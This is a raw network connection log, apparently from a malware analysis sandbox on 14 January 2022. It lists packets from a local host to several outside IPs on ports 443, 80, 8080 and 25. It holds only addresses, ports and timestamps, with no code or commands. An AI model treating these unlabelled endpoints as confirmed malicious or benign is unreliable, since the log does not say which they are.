Jan 14, 2022 20:29:24.041933060 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042011976 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042076111 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042135954 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042159081 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042216063 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042229891 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042294979 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042378902 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042449951 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042469978 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042536974 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042546988 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042639971 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042728901 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042797089 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042814970 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042879105 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.042891026 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.042975903 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043064117 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043082952 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043098927 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043211937 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043283939 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043301105 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043328047 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043358088 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043474913 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043546915 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043561935 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043586016 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043656111 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043674946 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043821096 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043879986 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.043894053 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.043992996 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.044070005 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.044092894 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058454037 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058554888 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058574915 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058615923 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058653116 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058672905 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058682919 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058698893 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058722973 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058772087 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058825016 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058836937 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058887959 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.058897972 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058912992 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.058955908 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.059542894 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.059647083 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.059693098 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.059763908 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.059822083 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.059870005 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.059881926 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.059895039 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.059911966 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.060034037 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.060106993 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.060122013 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.060178995 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.075675964 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.075788021 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.075823069 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.075860977 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.075882912 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.075894117 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.075922966 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.075939894 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.075958014 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.076026917 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.076091051 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.076107979 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.076133966 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.076176882 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077106953 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077207088 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077214956 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077234983 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077265024 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077294111 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077356100 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077378035 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077409029 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077439070 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077460051 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077475071 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077497005 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077552080 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077569962 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077606916 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077625036 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077641964 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077665091 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077719927 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077780962 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077800989 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077836990 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077878952 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077898979 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.077915907 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.077949047 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078011990 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078028917 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078064919 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078087091 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078105927 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078125954 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078182936 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078250885 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078269958 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078304052 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078326941 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078344107 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078365088 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078399897 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078505039 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078524113 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078555107 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078577042 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078592062 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078612089 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078627110 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078686953 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078692913 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078725100 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078758955 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078819036 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078874111 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078891039 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078919888 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078946114 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.078962088 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.078979015 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093214035 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093271971 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093281984 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093297958 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093337059 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093348980 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093365908 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093381882 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093389988 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093414068 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093425035 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093435049 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093502998 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093549013 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.093559980 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.093612909 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.094048023 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094091892 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094160080 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.094172001 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094198942 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.094223976 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.094279051 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094330072 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094336987 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.094347000 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.094404936 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.096311092 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.096345901 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.096467018 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.099363089 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.099383116 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099397898 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099498034 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.099512100 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099530935 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099539042 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099606037 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.099615097 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099627018 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.099652052 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.099706888 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116422892 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116442919 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116455078 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116559982 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116568089 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116580009 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116656065 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116667032 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116678953 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116714001 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116722107 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116727114 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116797924 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116807938 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116817951 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.116906881 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.116971016 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.117589951 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.117599010 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.117609024 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.117615938 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.117674112 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.117680073 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.117770910 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.117779970 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.117820024 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.117861986 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118366957 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118381023 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118395090 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118411064 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118475914 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118485928 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118545055 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118554115 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118566990 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118614912 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118622065 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118670940 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118679047 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.118721008 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.118756056 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.119921923 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.120428085 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.123045921 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.123074055 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.123087883 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.123096943 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:25.496543884 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.513988972 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.514334917 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.514555931 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.515052080 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.531866074 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.532249928 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.652332067 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.652470112 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.652640104 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.669842958 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.686683893 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.704075098 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.704260111 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.704569101 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.704582930 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.721801996 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.827692032 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.829890966 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.829910040 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.847979069 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.859736919 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.877053022 CET	80	49810	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.877199888 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.877346992 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.877373934 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:25.895661116 CET	80	49810	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:25.897970915 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:25.898070097 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:25.898133039 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:26.004931927 CET	80	49810	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:26.004961014 CET	80	49810	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:26.005027056 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:26.006094933 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:26.020416975 CET	49810	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:26.028912067 CET	49811	80	192.168.2.4	188.166.28.199
Jan 14, 2022 20:29:26.037789106 CET	80	49810	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:29.034924984 CET	49811	80	192.168.2.4	188.166.28.199
Jan 14, 2022 20:29:35.110105991 CET	49828	25	192.168.2.4	104.47.53.36
Jan 14, 2022 20:29:35.137217999 CET	49811	80	192.168.2.4	188.166.28.199
Jan 14, 2022 20:29:35.210042000 CET	25	49828	104.47.53.36	192.168.2.4
Jan 14, 2022 20:29:35.210184097 CET	49828	25	192.168.2.4	104.47.53.36
Jan 14, 2022 20:29:35.210623980 CET	49828	25	192.168.2.4	104.47.53.36
Jan 14, 2022 20:29:35.309415102 CET	25	49828	104.47.53.36	192.168.2.4
Jan 14, 2022 20:29:35.358531952 CET	25	49828	104.47.53.36	192.168.2.4
Jan 14, 2022 20:29:35.358555079 CET	25	49828	104.47.53.36	192.168.2.4
Jan 14, 2022 20:29:35.361068010 CET	49828	25	192.168.2.4	104.47.53.36
Jan 14, 2022 20:29:35.361150980 CET	49828	25	192.168.2.4	104.47.53.36
Jan 14, 2022 20:29:37.793414116 CET	49838	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:29:37.793459892 CET	443	49838	94.142.143.116	192.168.2.4
Jan 14, 2022 20:29:37.793761969 CET	49838	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:29:47.211239100 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.228369951 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.229295969 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.229410887 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.229424000 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.246535063 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.351413012 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.351563931 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.351629019 CET	49857	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.369929075 CET	80	49857	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.658628941 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.675913095 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.676201105 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.676299095 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.676307917 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.693471909 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.795053959 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.795144081 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.795448065 CET	49858	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.812513113 CET	80	49858	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.842051983 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.859348059 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.859476089 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.859592915 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.861874104 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.876696110 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.879002094 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.980451107 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:47.982049942 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.982229948 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:47.999301910 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.020837069 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.038268089 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.038877010 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.038996935 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.039148092 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.056202888 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.056271076 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.160181999 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.162049055 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.162075043 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.179361105 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.194737911 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.212064028 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.212260962 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.212311983 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.212326050 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.229542017 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.362292051 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.364258051 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.370692015 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.387897968 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.404009104 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.421401978 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.421509027 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.421744108 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.421761036 CET	49862	80	192.168.2.4	8.209.70.0
